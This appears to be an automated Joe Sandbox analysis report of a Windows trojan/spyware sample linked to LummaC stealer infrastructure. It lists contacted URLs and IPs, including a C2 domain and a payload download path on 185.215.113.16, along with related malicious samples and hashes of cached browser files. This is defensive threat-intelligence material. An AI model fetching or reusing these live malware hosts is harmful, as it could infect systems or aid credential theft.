https://mindhandru.buzz/d	RDb082EApV.exe, 00000000.00000003.1743824632.00000000007C3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_103.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_103.6.dr	false		high
http://185.215.113.16/	RDb082EApV.exe, 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://github.com/adegeo	chromecache_103.6.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RDb082EApV.exe, 00000000.00000003.1815624523.0000000005121000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/off/def.exe	RDb082EApV.exe, 00000000.00000003.1996144939.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microh	RDb082EApV.exe, 00000000.00000003.1854192826.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1843896965.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1822756808.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1743824632.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1822268061.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	RDb082EApV.exe, 00000000.00000003.1745058301.0000000005163000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_87.6.dr, chromecache_109.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_87.6.dr, chromecache_109.6.dr	false		high
http://185.215.113.16/off/def.exe2	RDb082EApV.exe, 00000000.00000003.1996144939.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_87.6.dr, chromecache_109.6.dr	false		high
http://185.215.113.16/off/def.exe	RDb082EApV.exe, 00000000.00000003.1996247892.0000000000834000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1996144939.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_103.6.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	RDb082EApV.exe, 00000000.00000003.1745144905.0000000005135000.00000004.00000800.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_87.6.dr, chromecache_109.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
104.21.11.101	mindhandru.buzz	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.15
192.168.2.14

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581257
Start date and time:	2024-12-27 09:11:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RDb082EApV.exe renamed because original name is a hash value
Original Sample Name:	8c6bc86968ef348064806000613733ae.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/64@9/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 172.217.21.35, 23.218.210.69, 142.250.181.142, 64.233.161.84, 2.20.41.214, 2.19.198.56, 23.32.238.130, 20.189.173.24, 172.217.21.42, 142.250.181.138, 142.250.181.74, 172.217.17.42, 172.217.17.74, 216.58.208.234, 142.250.181.106, 172.217.19.234, 172.217.19.202, 142.250.181.42, 13.74.129.1, 204.79.197.237, 13.107.21.237, 172.217.17.35, 4.245.163.56, 23.218.208.109, 13.107.246.63
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, onedscolprdwus23.westus.cloudapp.azure.com, clients.l.google.com, c1.microsoft.com, wcp
Execution Graph export aborted for target RDb082EApV.exe, PID 6360 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:12:40	API Interceptor	82x Sleep call for process: RDb082EApV.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse
	http://www.finanzamthessen.de	Get hash	malicious	Unknown	Browse
	installer.bat	Get hash	malicious	Vidar	Browse
	skript.bat	Get hash	malicious	Vidar	Browse
	din.exe	Get hash	malicious	Vidar	Browse
185.215.113.16	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16/steam/random.exe
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe
	0zBsv1tnt4.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mindhandru.buzz	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
s-part-0035.t-0009.t-msedge.net	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	EwhnoHx0n5.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	qZA8AyGxiA.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	60Zxcx88Uv.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	1fi2LiofgW.exe	Get hash	malicious	Unknown	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WRONDszv4.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	Idau8QuYa3.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	oTZfvSwHTq.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
CLOUDFLARENETUS	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	K9esyY0r4G.lnk	Get hash	malicious	Unknown	Browse	104.21.67.124
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse	104.21.11.101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	high, very likely benign file
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
